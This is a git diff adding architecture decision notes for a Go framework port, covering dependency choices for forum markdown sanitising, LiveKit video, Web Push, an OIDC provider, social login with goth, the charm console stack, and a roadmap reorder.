The policy is a **named forum policy**, not seaglass's richeditor UGC policy. It matches the PHP HTMLPurifier config 1:1 (`golem15/forum` `MarkdownRenderer`):
|
||||
|
||||
- `AllowElements` of the PHP list: `p`, `br`, `strong`, `em`, `b`, `i`, `h1`–`h6`, `ul`, `ol`, `li`, `blockquote`, `pre`, `code`, `a` with `href`/`rel`/`target`, `table`, `thead`, `tbody`, `tr`, `th`, `td`, `hr`, `del`, `ins`, `sub`, `sup`. No `img`, no `figure`, no extra UGC tags.
|
||||
- `AllowURLSchemes("http", "https", "mailto")` only. Not `tel:`, and not the extra relative/tel allowances seaglass adds on top of `UGCPolicy`.
|
||||
- `RequireNoFollowOnLinks(true)` — PHP `HTML.Nofollow` true. seaglass sets this **false**.
|
||||
- `AddTargetBlankToFullyQualifiedLinks(true)` — PHP `HTML.TargetBlank` true.
|
||||
|
||||
Markdown conversion uses `github.com/yuin/goldmark` **v1.8.6**, already a framework dependency, with GFM (`extension.GFM`: tables, strikethrough, autolinks). Analog of PHP `GithubFlavoredMarkdownConverter` with `html_input=strip` and `allow_unsafe_links=false`. Raw HTML in markdown input is stripped; unsafe schemes never become links.
|
||||
|
||||
**D-17 owns `Render(markdown)` and `Purify(html)`.** A small `summercms.go` module (or an extension of cabana's markdown support; the `/msd-quick` task decides the package) exports those two funcs with this named policy. Forum, and later Wavepath `purify()` callers (trainings), import that module. Forum does not grow a local renderer, does not call `cabana.RenderMarkdown` (regex gate, no GFM tables, wrong policy), and does not import `seaglass` for post HTML.
|
||||
|
||||
## Related dependencies
|
||||
|
||||
- **seaglass / 2026-10-11 note:** bluemonday UGC for stored richeditor HTML (`RequireNoFollowOnLinks(false)`, `tel:`, images and extra attributes). Forum posts must not use that policy.
|
||||
- **`cabana.RenderMarkdown`:** goldmark without GFM plus three regexes. Pitfall 6: it is the wrong gate for forum; D-17 is the gate.
|
||||
- **goldmark GFM** is already used in-tree (`internal/docsite/render.go`). No new markdown library.
|
||||
|
||||
## Consequences
|
||||
|
||||
- Framework `go.mod` keeps the existing pins: `github.com/microcosm-cc/bluemonday v1.0.27` and `github.com/yuin/goldmark v1.8.6`. Forum's `go.mod` never requires either.
|
||||
- D-17 `Render` runs goldmark GFM then the named forum policy; `Purify` runs the policy on already-HTML. New and edited posts store `content_html` on write (D-18); adopted rows are served stored.
|
||||
- If D-17 has not landed (`func Render(` / `func Purify(` absent under `modules/`, excluding `cabana.RenderMarkdown`), forum execution **blocks**. It does not vendor the libraries and does not substitute seaglass or a local `forum/classes/markdown.go`.
|
||||
30
.planning/notes/2026-10-18-livekit-server-sdk-go.md
Normal file
30
.planning/notes/2026-10-18-livekit-server-sdk-go.md
Normal file
@@ -0,0 +1,30 @@
|
||||
# Decision: livekit/server-sdk-go/v2 for Chat video RoomService
|
||||
|
||||
**Date:** 2026-10-18
|
||||
**Status:** Accepted
|
||||
**Context:** Phase 19.1 plan 05 (`sm-chatvideo-plugin`), D-13 / D-14 / D-15, 19.1-RESEARCH.md Pitfall 9, 19.1-COVERAGE.md LiveKit RoomService table
|
||||
|
||||
## Decision
|
||||
|
||||
`sm-chatvideo-plugin` depends on `github.com/livekit/server-sdk-go/v2` at **v2.19.0** (2026-10-08, Apache-2.0) for LiveKit RoomService (create, delete, remove participant, participant count, list rooms) and as the official token-helper source. Confirmed this session: `go list -m -versions github.com/livekit/server-sdk-go/v2` lists v2.19.0 as current.
|
||||
|
||||
- The official module path is **`github.com/livekit/server-sdk-go/v2`**. The v1 path `github.com/livekit/server-sdk-go` is frozen at v1.1.8 (2024-01-25) and is not used. Do not reopen the library choice.
|
||||
- The frozen PHP plugin (`golem15/chatvideo` @ 25135b4) talks to LiveKit through Agence104 RoomServiceClient and mints join JWTs with firebase/jwt (`LiveKitService.php` lines 80–99). The Go port needs the same Room API surface and the same HS256 claims, not a hand-rolled Twirp client.
|
||||
- The library is Apache-2.0. Transitive: `github.com/livekit/protocol`, twirp, protobuf. **Flag (Pitfall 9):** v2.19.0 also pulls `github.com/pion/webrtc/v4`, `github.com/livekit/media-sdk`, and `github.com/moby/buildkit`. Those are the realtime / media / container stack. Tests that import pion download buildkit.
|
||||
- Production talks to a narrow **`RoomAPI` interface** only: `CreateRoom`, `DeleteRoom` (missing-room is a no-op), `RemoveParticipant`, `ParticipantCount` (missing-room returns 0), `ActiveRoomNames`. The official client is constructed with `lksdk.NewRoomServiceClient`. Production and tests **must not construct `lksdk.Room`** (that is the realtime WebRTC client).
|
||||
- Tests ship an in-memory `RoomAPI` fake. Tests must not import pion, media-sdk, or buildkit, and must not construct `lksdk.Room`.
|
||||
- HTTP to the operator URL uses **`fetchguard.Policy{Mode: fetchguard.TrustedMode}`**. The URL is operator-configured (`livekit_admin_url`, else `livekit_url` with `wss://`/`ws://` rewritten to `https://`/`http://`) and may be loopback (`http://localhost:7880`). It is never user-supplied. TrustedMode is the only fetchguard mode allowed for this hop.
|
||||
- Token claims are golden against PHP `LiveKitService.php` lines 80–99: HS256; `iss` = API key; `sub` = user id string; `name`; `iat`/`nbf`/`exp` with `token_ttl` default 900; nested `video` grant `room` / `roomJoin` / `canPublish` / `canSubscribe`; optional `metadata` JSON string (avatar). Prefer `github.com/livekit/protocol/auth` `ToJWT` when it matches. **If `ToJWT` differs** (omits `name` / `nbf` / nested `video` keys, or grant JSON keys do not match PHP), mint with **`jwt/v5` `MapClaims`** copying the PHP payload, still inside the same LiveKit wrapper. `TestLiveKitTokenClaims` is the lock.
|
||||
|
||||
## Related dependencies
|
||||
|
||||
- `fetchguard` (in-tree) is the SSRF boundary for the operator RoomService URL: TrustedMode only. PublicOnly would refuse loopback and break a local SFU.
|
||||
- `github.com/golang-jwt/jwt/v5` is already a framework dependency (v5.3.1). The golden fallback uses the same module. Chatvideo does not add a second JWT library.
|
||||
- `github.com/livekit/protocol` (auth + Twirp types) arrives as a transitive of server-sdk-go/v2. Tokens actually live in `protocol/auth`; the plugin still requires the official `/v2` SDK for `NewRoomServiceClient`.
|
||||
|
||||
## Consequences
|
||||
|
||||
- `sm-chatvideo-plugin/go.mod` requires `github.com/livekit/server-sdk-go/v2 v2.19.0` only **after** this note exists. `go get github.com/livekit/server-sdk-go/v2@v2.19.0` must not run before this file is committed.
|
||||
- The only production importer of the SDK is the RoomAPI wrapper (`classes/livekit.go`). Tests inject a fake and never construct `lksdk.Room`.
|
||||
- Swapping the SDK later is a local wrapper change (D-13 reversibility). A later bump still needs a note confirming the RoomAPI surface, the pion/media-sdk/buildkit flag, TrustedMode for the operator URL, and the jwt/v5 MapClaims golden fallback.
|
||||
- Config keys carry over unchanged: `livekit_url`, `livekit_api_key`, `livekit_api_secret`, `max_duration`, `token_ttl`, `livekit_admin_url`, `max_participants`, `screen_share`.
|
||||
@@ -0,0 +1,32 @@
|
||||
---
|
||||
title: Roadmap reorder — demo at 20, Płytarium release at 30, WavePath from 31, Horoskopia from 36
|
||||
date: 2026-10-18
|
||||
context: /msd-explore after Phase 19.1 closed. Revises the phase numbers set in `wavepath-framework-asks-division.md` (2026-10-11) and the port order in `core-plugin-port-inventory.md` (2026-10-07).
|
||||
---
|
||||
|
||||
# Roadmap reorder: demo at 20, Płytarium release at 30, WavePath from 31, Horoskopia from 36
|
||||
|
||||
## Decisions
|
||||
|
||||
- **The remaining 19.x phases come first** (19.3 verification, then 19.4 to 19.7). They polish the framework and the shared plugins before anything is shown or released.
|
||||
- **Phase 20 is a demo instance with every shared plugin.** It builds on the existing `sm-demo-app` (14 plugins, `demo:seed`, Nuxt site `vue-demo-app`, no deployment yet). The phase adds the chat family (`chat`, `chatchannels`, `chatvideo`, `chatbots`, `forum`, `herald`, `userfriends`), frontend pages that show chat, video calls, presentations, journal and the rest, and a public deployment.
|
||||
- The frontend is public. The admin backend is not; the site carries a "want to see the backend? contact Golem15" call to action.
|
||||
- **Phases 21 to 29 are not on the roadmap.** Security phases, more plugin ports and backend fixes are expected over the next 2 to 3 weeks, and each is added when its goal is clear. `phase add` numbers a new phase as the highest number plus one, so these need an explicit id: `msd_run phase add "<description>" --id 21` (then move the section to sit between 20 and 30 in ROADMAP.md).
|
||||
- **Phase 30 is the Płytarium cutover** (was Phase 20; its CONTEXT and decisions D-01 to D-13 moved unchanged to `30-cutover/`). It closes milestone v1.0.
|
||||
- **Phase 31 opens the WavePath work** (was 19.2, chat polish against WavePath's clients). Recording the `tide` corpus right before the migration is worth more than recording now, because WavePath's PHP routes are not frozen.
|
||||
- **Phases 31 to 35: WavePath** off WinterCMS onto Go, and WavePath's community off Mattermost. Target: this winter. Expected to be a v1.1 milestone.
|
||||
- **Phases 36 to 40: Horoskopia-driven development.** Expected to be a v1.2 milestone. WavePath before Horoskopia matches the 2026-10-11 change to the seeds.
|
||||
|
||||
## Milestones
|
||||
|
||||
All phases currently sit in the v1.0 roadmap. When v1.0 closes at Phase 30, Phase 31 moves into the next milestone with `/msd-new-milestone`.
|
||||
|
||||
## Pointers for later
|
||||
|
||||
- **Mattermost exit (31 to 35):** WavePath's own roadmap has the PHP-side pattern, milestone v1.13 "Mattermost Import" (Phases 99 to 103 in `/media/nvme/dev/jz/wavepath.org/.planning/`). It is a generic `wn-mattermostimport-plugin`: a resumable, re-runnable import with delta runs and a ledger, which never writes to the Mattermost source. Host seams live in the app plugin. Not scoped here.
|
||||
- **WavePath `import:winter` stress cases** stay in `wavepath-framework-asks-division.md` and apply to the Phase 30 runner.
|
||||
|
||||
## Open for the Phase 20 discussion
|
||||
|
||||
- Can visitors sign up and use chat and video calls themselves, or do they browse seeded content through prepared demo accounts? This decides how much abuse protection is needed (Turnstile from 19.3, rate limits), whether LiveKit usage needs caps, and whether the demo data is reset on a schedule.
|
||||
- Where the demo is hosted and under which domain.
|
||||
30
.planning/notes/2026-10-18-webpush-go.md
Normal file
30
.planning/notes/2026-10-18-webpush-go.md
Normal file
@@ -0,0 +1,30 @@
|
||||
# Decision: webpush-go for Herald Web Push
|
||||
|
||||
**Date:** 2026-10-18
|
||||
**Status:** Accepted
|
||||
**Context:** Phase 19.1 plan 04 (`sm-herald-plugin`), D-09 / D-10 / D-12, 19.1-RESEARCH.md Pitfall 7 and Pitfall 8
|
||||
|
||||
## Decision
|
||||
|
||||
`sm-herald-plugin` depends on `github.com/SherClockHolmes/webpush-go` at **v1.4.0** (2025-01-02, MIT, Go 1.13) for VAPID (RFC 8292) and aes128gcm (RFC 8291) Web Push. Confirmed this session: `go list -m -versions github.com/SherClockHolmes/webpush-go` lists v1.4.0 as current.
|
||||
|
||||
- The frozen PHP plugin (`golem15/herald` @ a749f83) sends through Minishlink WebPush. The Go port needs the same record encryption, VAPID JWT, TTL and urgency — not a hand-rolled AES-GCM / ES256 stack (HKDF, subscription-key decode, RFC 8291 padding).
|
||||
- The library is MIT, maintained, and already shares `github.com/golang-jwt/jwt/v5` with the framework (`go.mod` pins jwt/v5 v5.3.1). Transitive: jwt/v5 and `golang.org/x/crypto`.
|
||||
- `Options.HTTPClient` is the `Do(*http.Request) (*http.Response, error)` interface. `fetchguard.Client.Do` matches it (`modules/fetchguard/client.go`), so `*fetchguard.Client` is passed as `Options.HTTPClient` directly. Pitfall 8: no adapter type, no `http.Client{Transport: …}` wrapper.
|
||||
- Send uses `fetchguard.NewClient` with `PublicOnlyMode` (HTTPS only; private and reserved IPs refused at dial time). Subscribe validates the same policy. There is no `EndpointGuard` type.
|
||||
- PHP defaults carry over: TTL **2419200** (4 weeks) and urgency **normal**, both overridable per send. The worker prunes rows on HTTP **404** and **410**.
|
||||
- VAPID keys are config keys `golem15.herald.vapid.{subject,public_key,private_key}` (PHP env names `VAPID_SUBJECT` / `VAPID_PUBLIC_KEY` / `VAPID_PRIVATE_KEY`). This note does not generate keys.
|
||||
|
||||
The in-tree Web Push module (`modules/flare`) is **not** used as the sender. It already implements RFC 8291/8292, but its config keys are `push.*`, its command is `websockets:generate-vapid-keys`, and it takes `*http.Client` rather than the `HTTPClient` Do interface. D-09 locks webpush-go so Herald keeps PHP's `golem15.herald.vapid.*` keys and `herald:vapid-generate` command name.
|
||||
|
||||
## Related dependencies
|
||||
|
||||
- `fetchguard` (in-tree) is the SSRF boundary: PublicOnly at subscribe and send. Tests inject `fetchguard.WithTransport` — no extra Doer type.
|
||||
- `github.com/golang-jwt/jwt/v5` is already a framework dependency; webpush-go's VAPID JWT uses the same module. Herald does not add a second JWT library.
|
||||
- `modules/flare` stays the framework Web Push package for other callers. Herald never imports it.
|
||||
|
||||
## Consequences
|
||||
|
||||
- `sm-herald-plugin/go.mod` requires `github.com/SherClockHolmes/webpush-go v1.4.0` only **after** this note exists. The importer is the plugin sender (`classes/sender.go`); `Options.HTTPClient` is the PublicOnly `*fetchguard.Client`.
|
||||
- `summer herald:vapid-generate` calls `webpush.GenerateVAPIDKeys` and prints `VAPID_PUBLIC_KEY=` / `VAPID_PRIVATE_KEY=` lines. The private key is never written to slog, payloads, or README examples.
|
||||
- Swapping the library later is a local sender change (D-09 reversibility). A later bump still needs a note confirming `HTTPClient` stays the Do interface so fetchguard continues to pass through without an adapter.
|
||||
40
.planning/notes/2026-10-19-oidc-on-wristband-golang-jwt.md
Normal file
40
.planning/notes/2026-10-19-oidc-on-wristband-golang-jwt.md
Normal file
@@ -0,0 +1,40 @@
|
||||
# Decision: OIDC provider on wristband, id_tokens signed with golang-jwt
|
||||
|
||||
**Date:** 2026-10-19
|
||||
**Status:** Accepted
|
||||
**Context:** Phase 19.4 (OIDC provider on wristband, SC-1, D-06, D-09, D-14, D-16), 19.4-RESEARCH.md "D-16 decision", Standard Stack and Package Legitimacy Audit
|
||||
|
||||
## Decision
|
||||
|
||||
The OpenID Connect provider extends the hand-written `wristband` package with an OIDC flavour. It does not put zitadel/oidc behind wristband.
|
||||
|
||||
- **One engine, two flavours (D-06).** `wristband.NewServer` keeps building the MCP authorization server exactly as before; a new `wristband.NewOIDCServer` builds a second `*wristband.Server` whose flavour selects the OIDC validation and response code. Both share the primitives that Phase 8 already reviewed: client lookup, redirect matching, PKCE S256, SHA-256 hex hashing, constant-time comparison, random identifiers, the redirect HTML writer and refresh lineage.
|
||||
- **Additive interfaces (D-09).** OIDC storage arrives through new interfaces (`OIDCBackend`, `OIDCTx`, `KeyStore`) and a host seam for HTML and the signed-in user (`OIDCHost`). `wristband.Backend`, `wristband.Tx` and every MCP signature stay source-compatible, so the existing MCP adapter in the first consuming application compiles unchanged.
|
||||
- **`github.com/golang-jwt/jwt/v5` at v5.3.1 signs id_tokens** (RS256 and ES256). It is already required in `go.mod` and already used by `bouncer` (HS256) and `flare` (ES256 VAPID tokens), so the framework keeps one JOSE/JWT library. Claims are built as `jwt.MapClaims`, so `aud` stays a JSON string as in the PHP provider; `jwt.RegisteredClaims` would marshal `aud` as an array while the package global `jwt.MarshalSingleStringAsArray` is true, and that global is never touched because `bouncer` shares it.
|
||||
- **JWKs are encoded with the standard library.** RSA keys publish the minimal big-endian bytes of the modulus and exponent; EC keys publish `x` and `y` from `ecdsa.PublicKey.Bytes()` (the fixed-length uncompressed point, so the left-padding bug cannot happen). About forty lines. `github.com/go-jose/go-jose/v4` was considered for this at runtime and rejected: it would be a second JOSE library next to golang-jwt (RESEARCH assumption A2). It still checks the encoder from the outside, because the test-only relying-party stack below verifies tokens through it.
|
||||
- **The interop oracle is test-only and lives in the plugin repo.** `github.com/coreos/go-oidc/v3` at v3.21.0 and `golang.org/x/oauth2` at v0.37.0 drive a stock relying party (discovery, authorize URL with PKCE, code exchange, id_token and `at_hash` verification against the served JWKS) in `sm-oauthserver-plugin`. This is the D-16 interop test, the equivalent of the PHP plugin's JumbojettInteropTest. Both modules are installed in plan 19.4-02 only after a blocking human package check, because the package-legitimacy seam cannot check Go modules. The framework keeps a golang-jwt plus standard-library tracer over in-memory fakes, so the framework `go.mod` gains nothing.
|
||||
|
||||
**zitadel/oidc v3 was rejected.** v3.51.16 is a certified, maintained provider, and the comparison in 19.4-RESEARCH.md ("D-16 decision: recommendation") was made with that in favour. It fails three locked decisions at once:
|
||||
|
||||
- **D-06, one engine.** zitadel's `op` package is its own authorize and token engine. MCP stays on wristband (Phase 8 rejected zitadel for MCP byte parity, `.planning/notes/oauth2-wristband-direct-port.md`), so adopting it would mean two engines side by side.
|
||||
- **D-09, additive interfaces.** An adapter would have to implement `op.Storage` (AuthStorage, OPStorage and Health, 25 methods) with zitadel-shaped types such as `*oidc.AuthRequest` and `jose.SignatureAlgorithm`, which cannot be added next to the existing adapter without reshaping it.
|
||||
- **D-14, relying-party-visible parity.** `CreateDiscoveryConfig` always emits introspection, revocation, end-session, check-session and device endpoints that the PHP discovery document does not have, and zitadel owns the error JSON, the redirect building and the login URL contract. The PHP relying parties expect PHP's bytes.
|
||||
|
||||
It would also add chi v5, gorilla/securecookie, rs/cors, go-jose v4, a newer OpenTelemetry than the framework pins, golang/mock and more to the runtime module graph.
|
||||
|
||||
The trade-off in plain words: the user's standing preference ("recommend the maintained library plus a decision note for protocol and security code") is honoured for the cryptography (golang-jwt signs, go-oidc and go-jose verify in tests). The protocol state machine stays the already-reviewed wristband code, because the certified library cannot meet D-06, D-09 and D-14 together.
|
||||
|
||||
This note supersedes the zitadel/oidc row of `.planning/research/STACK.md` for OIDC, as `.planning/notes/oauth2-wristband-direct-port.md` already did for MCP.
|
||||
|
||||
## Related dependencies
|
||||
|
||||
- **`github.com/coreos/go-oidc/v3` v3.21.0, test-only**, in `sm-oauthserver-plugin` (requires go-jose v4 transitively). Installed after a blocking human package check in plan 19.4-02.
|
||||
- **`golang.org/x/oauth2` v0.37.0, test-only**, in `sm-oauthserver-plugin`, same check. Its client sends Basic credentials as `url.QueryEscape(id):url.QueryEscape(secret)`, which is why the OIDC token endpoint unescapes both halves (PHP does `urldecode`).
|
||||
- **Standard library only for the rest:** `crypto/rsa`, `crypto/ecdsa`, `crypto/elliptic`, `crypto/x509`, `encoding/pem`, `math/big` for keys and JWKs; `uuid` (Go 1.27, `uuid.NewV4`) for request identifiers and subjects; `log/slog` for the fixed-reason failure logs.
|
||||
|
||||
## Consequences
|
||||
|
||||
- The framework `go.mod` gains no module; `grep -E 'zitadel|go-jose|coreos' go.mod` stays empty.
|
||||
- `wristband` stays a protocol leaf: no ORM, no framework module except `diary`, no application package. Logging through `diary` is required (amended 2026-10-21, phase 19.8: every framework module logs through diary components). Storage, keys at rest, pages and routes belong to `sm-oauthserver-plugin` (D-01).
|
||||
- The OIDC flavour owns every byte a relying party sees (discovery field order, redirect encoding, error bodies, headers), so parity with the PHP provider is a matter of tests and `tide` recordings, not of fighting library defaults.
|
||||
- Replacing golang-jwt later means re-checking the id_token header (`alg`, `kid`) and the string `aud` against the go-oidc interop test.
|
||||
54
.planning/notes/2026-10-20-sociallogin-goth.md
Normal file
54
.planning/notes/2026-10-20-sociallogin-goth.md
Normal file
@@ -0,0 +1,54 @@
|
||||
# Decision: social sign-in uses goth without gothic
|
||||
|
||||
**Date:** 2026-10-20
|
||||
**Status:** Accepted
|
||||
**Context:** Phase 19.5 (social login in a shared plugin, D-01, D-02, D-03, D-04), 19.5-RESEARCH.md Q1, Q2 and Package Legitimacy Audit
|
||||
|
||||
## Decision
|
||||
|
||||
Social sign-in (Google, Facebook, GitHub, Microsoft) lives in the new shared plugin `sm-sociallogin-plugin`, which requires `sm-user-plugin`. Its OAuth 2.0 client side uses goth's provider packages and drives them without goth's session layer.
|
||||
|
||||
- **`github.com/markbates/goth` pinned at v1.82.0.** Published 2025-08-18, MIT, origin `github.com/markbates/goth` at tag `v1.82.0`, `go 1.23.0` in its go.mod. It is the newest tag.
|
||||
- **Only five packages are imported, and only by `sm-sociallogin-plugin`** (`classes/providers_goth.go`): the core package `github.com/markbates/goth` and `providers/google`, `providers/facebook`, `providers/github`, `providers/azureadv2`. No other repository imports goth.
|
||||
- **`gothic` and `goth.UseProviders` are never used.** `gothic` is the only goth package that imports `github.com/gorilla/sessions`, which would be a second session mechanism next to `bouncer`. `goth.UseProviders` fills a process-global map, which does not fit per-request provider configuration. The plugin builds providers itself and calls `BeginAuth`, `Marshal`, `UnmarshalSession`, `Authorize` and `FetchUser` directly.
|
||||
- **The goth session lives in the plugin's own sealed state cookie (D-07).** The marshalled goth session goes into an AES-GCM cookie keyed from the app key with a domain-separated HKDF label, together with the state, the provider and the action. No server-side session store.
|
||||
- **Imported non-stdlib packages are exactly these** (measured with `go list -deps` on a scratch module importing the five packages):
|
||||
- `cloud.google.com/go/compute/metadata`
|
||||
- `github.com/markbates/goth`, `.../providers/azureadv2`, `.../providers/facebook`, `.../providers/github`, `.../providers/google`
|
||||
- `golang.org/x/oauth2`, `golang.org/x/oauth2/authhandler`, `golang.org/x/oauth2/google`, `golang.org/x/oauth2/google/externalaccount`, `golang.org/x/oauth2/google/internal/externalaccountauthorizeduser`, `golang.org/x/oauth2/google/internal/impersonate`, `golang.org/x/oauth2/google/internal/stsexchange`, `golang.org/x/oauth2/internal`, `golang.org/x/oauth2/jws`, `golang.org/x/oauth2/jwt`
|
||||
|
||||
The core package needs only the standard library and `golang.org/x/oauth2`. `providers/google` adds `golang.org/x/oauth2/google` (for `google.Endpoint`), which brings `cloud.google.com/go/compute/metadata`. `facebook`, `github` and `azureadv2` add nothing beyond core.
|
||||
- **`azureadv2` over `microsoftonline`.** Only `azureadv2` takes a tenant (`common`, `organizations`, `consumers` or a tenant ID) and it needs no extra module; `microsoftonline` hard-codes the `common` endpoints and pulls `github.com/markbates/going/defaults`. The wrapper names the provider `microsoft`, requests `offline_access` explicitly and ignores goth's auth-only Graph photo URL.
|
||||
|
||||
## Measurements
|
||||
|
||||
- **Binary size: +132 KiB** on a stripped build of the demo application (`-trimpath -ldflags="-s -w"`): 47,427,847 to 47,563,015 bytes, with the four providers driven through `BeginAuth`, `UnmarshalSession`, `Authorize` and `FetchUser`. The demo already links `google.golang.org/api` through gocloud, which keeps the delta small.
|
||||
- **No gorilla session module in the binary.** `go version -m` lists `github.com/markbates/goth v1.82.0`, `golang.org/x/oauth2` and `cloud.google.com/go/compute/metadata`; the only gorilla module is the pre-existing `github.com/gorilla/css`. No `gorilla/sessions`, `securecookie`, `mux` or `pat`.
|
||||
- **Module graph: 19 go.sum-only additions, no existing version changed.** A consuming module's `go list -m all` gains `github.com/decred/dcrd/dcrec/secp256k1/v4`, `github.com/go-chi/chi/v5`, `github.com/goccy/go-json`, `github.com/gorilla/context`, `github.com/gorilla/mux`, `github.com/gorilla/pat`, `github.com/gorilla/securecookie`, `github.com/gorilla/sessions`, `github.com/jarcoal/httpmock`, `github.com/lestrrat-go/backoff/v2`, `github.com/lestrrat-go/blackmagic`, `github.com/lestrrat-go/httpcc`, `github.com/lestrrat-go/iter`, `github.com/lestrrat-go/jwx`, `github.com/lestrrat-go/option`, `github.com/markbates/going`, `github.com/markbates/goth`, `github.com/mrjones/oauth` and `github.com/pkg/errors`. These come from goth's go.mod (gothic, other providers, tests); none of them is compiled into the binary.
|
||||
- **Vulnerabilities:** `govulncheck` v1.9.0 over a scratch module with goth v1.82.0 reported "No vulnerabilities found."
|
||||
|
||||
## Maintenance risk
|
||||
|
||||
goth has 6.6k stars and 825 commits, but its repository advertises a search for a new maintainer and the last tag is 14 months old. D-03 contains that risk: goth stays behind the plugin's own `Provider` interface and never appears in its public API, each provider package is under 300 lines, and a provider can be replaced by a hand-written one (or a fork) without touching routes, payloads or the plugin's exported types.
|
||||
|
||||
## Rejected alternatives
|
||||
|
||||
- **Hand-written `golang.org/x/oauth2` plus profile calls.** Fewer dependencies, but the user prefers a maintained library for protocol code, and goth already normalises the four profile APIs.
|
||||
- **`gorilla/securecookie` for the state cookie.** A new dependency for about 30 lines of standard-library AEAD (`crypto/hkdf`, `crypto/aes`, `crypto/cipher`).
|
||||
- **`gothic`.** It brings `gorilla/sessions` as a second session mechanism and keeps the state in its own store; the state-check it does (`validateState`) also skips an empty original state, which the plugin must reject.
|
||||
|
||||
## Related dependencies
|
||||
|
||||
- **`golang.org/x/oauth2`**, already in the workspace module graph (approved in 19.4); minimal version selection picks the application's version (goth needs v0.27.0 or newer).
|
||||
- **`cloud.google.com/go/compute/metadata`**, already present in the workspace graph.
|
||||
|
||||
## Package legitimacy
|
||||
|
||||
The package-legitimacy seam cannot check Go modules (as in 19.4), so goth is [ASSUMED] for legitimacy and is gated by a blocking human check (plan 19.5-01 Task 4) before any `go get`. Proxy signals gathered by hand: v1.82.0 on proxy.golang.org, origin URL and tag ref as above, MIT licence.
|
||||
|
||||
## Consequences
|
||||
|
||||
- The framework `go.mod` gains nothing; `grep markbates/goth go.mod` stays empty. goth is required only by `sm-sociallogin-plugin` and appears in the go.sum of applications that mount it.
|
||||
- `go list -deps` of any application binary must not list `github.com/gorilla/sessions`.
|
||||
- `gopkg.in/yaml.v3` appears in goth's module graph as an indirect module and is never imported (the project rule is `goccy/go-yaml`).
|
||||
- PKCE stays off, because goth's providers keep their `oauth2.Config` unexported and expose no hook. RFC 9700 allows a browser-bound one-time `state` for confidential clients, which the sealed state cookie provides. PKCE is on the deferred list.
|
||||
44
.planning/notes/2026-10-21-console-charm-stack.md
Normal file
44
.planning/notes/2026-10-21-console-charm-stack.md
Normal file
@@ -0,0 +1,44 @@
|
||||
# Decision: the console runs on charm's v2 stack, logging stays on stdlib slog
|
||||
|
||||
**Date:** 2026-10-21
|
||||
**Status:** Accepted
|
||||
**Context:** Phase 19.8 (console commands overhaul: D-01, D-02, D-05, D-08 and the CONTEXT discretion item on the console handler), 19.8-RESEARCH.md Standard Stack, Alternatives Considered, Package Legitimacy Audit and the probes quoted there
|
||||
|
||||
## Decision
|
||||
|
||||
The console layer (`modules/bonfire`) and the new logging module (`modules/diary`) adopt charm's v2 libraries on the `charm.land` vanity paths. Log routing itself stays on the standard library's `log/slog`.
|
||||
|
||||
- **Modules and versions.** All six were checked with `go list -m -versions` on 2026-10-21; each is the newest tag, so the research pins stand:
|
||||
- `charm.land/lipgloss/v2` v2.0.6: styles, layout and `lipgloss/v2/table` for list, help, errors, tables and log lines.
|
||||
- `charm.land/bubbletea/v2` v2.1.0: program runtime for the live spinner, process and progress views.
|
||||
- `charm.land/bubbles/v2` v2.2.1: `spinner` (MiniDot, the frames `bonfire` already draws), `progress` (the cyan-to-green bar), `key` and `help`.
|
||||
- `charm.land/huh/v2` v2.0.3: Ask, Confirm, Choice and Secret on an interactive terminal, with accessible mode.
|
||||
- `charm.land/fang/v2` v2.0.1: cobra error rendering hook and Windows VT enabling.
|
||||
- `github.com/charmbracelet/colorprofile` v0.4.3: imported directly for `colorprofile.Writer` and `colorprofile.Detect` (already a transitive dependency of all of the above).
|
||||
- **v2, not SSU's v1 pins.** SSU (`/media/nvme/dev/pxpx/ssu`) pins `github.com/charmbracelet/lipgloss` v1.0.0, `bubbletea` v1.3.0 and `bubbles` v0.20.0. fang v1 already depends on a `charm.land/lipgloss/v2` beta, so v1 widgets plus any fang would compile two lipgloss majors into every binary, and the v1 line is maintenance-only. SSU's widgets are ported with the v2 renames: `View()` returns `tea.View`, key events are `tea.KeyPressMsg`, the progress gradient is `progress.WithColors` / `WithDefaultBlend`, and widths are set with `SetWidth`.
|
||||
- **Who imports them.** Only `modules/bonfire` (all five charm libraries plus colorprofile) and `modules/diary` (lipgloss and colorprofile) import charm modules. Plugins and other framework modules reach them through `bonfire.Output` and `diary.For`, never directly.
|
||||
- **fang is used narrowly.** `fang.Execute` runs with `fang.WithoutVersion()` (its `-v`/`--version` would collide with the verbosity flags), `fang.WithoutManpage()` (it would add a hidden `man` command to the list and to duplicate checks), `fang.WithoutCompletions()`, and `fang.WithErrorHandler` set to bonfire's own error renderer. The help and list layouts are bonfire's own Artisan layouts (D-14); fang's help func never reaches subcommands because bonfire sets a help func on every command.
|
||||
- **Color is applied at the writer.** lipgloss v2 `Render` always emits ANSI, so `--ansi`, `--no-ansi`, `NO_COLOR`, `TERM=dumb` and `FORCE_COLOR` are applied through `colorprofile.Writer` with a profile that bonfire detects.
|
||||
- **The diary console handler is our own** lipgloss-styled `slog.Handler`. charm's slog logger module (`charm.land/log/v2` v2.0.1) is rejected: it fails `testing/slogtest` (`WithGroup` treated as a prefix, empty attributes printed, attributes of empty-key groups not inlined), and it brings its own level and prefix model that duplicates diary's component levels. This settles the CONTEXT discretion item.
|
||||
- **Daily files use a stdlib writer** of about 120 lines (one file per day, `name-YYYY-MM-DD.log`, retention by days, mode 0640). `gopkg.in/natefinch/lumberjack.v2`, which SSU uses, is rejected: it rotates by size, has no per-day naming, and would need its own note.
|
||||
- **Fan-out and GORM.** The `stack` driver is the standard library's `slog.NewMultiHandler` (Go 1.26+), and GORM logs through gorm's own `logger.NewSlogLogger` (already in gorm v1.31.2). No logging library is added.
|
||||
- **Cost.** The probe measured about +2.1 MB on a stripped binary (`-trimpath -s -w`): 2,527,495 bytes for cobra and x/term alone, 4,649,223 bytes with lipgloss/table, bubbletea, the bubbles spinner and progress, huh and fang.
|
||||
- **Toolchain fit.** The module go directives are at most 1.26 (lipgloss 1.25.0, bubbletea 1.26.0, bubbles 1.25.0, huh 1.25.8, fang 1.25.0) and fit this module's `go 1.27.0`. Minimal version selection keeps `github.com/spf13/cobra` v1.10.2, `github.com/spf13/pflag` v1.0.9 and `golang.org/x/text` v0.42.0 (fang asks for older cobra and pflag).
|
||||
- **YAML rule.** `gopkg.in/yaml.v3` enters the module graph only as testify's indirect test dependency of fang and huh. Nothing in this repository imports it; YAML stays on `goccy/go-yaml`.
|
||||
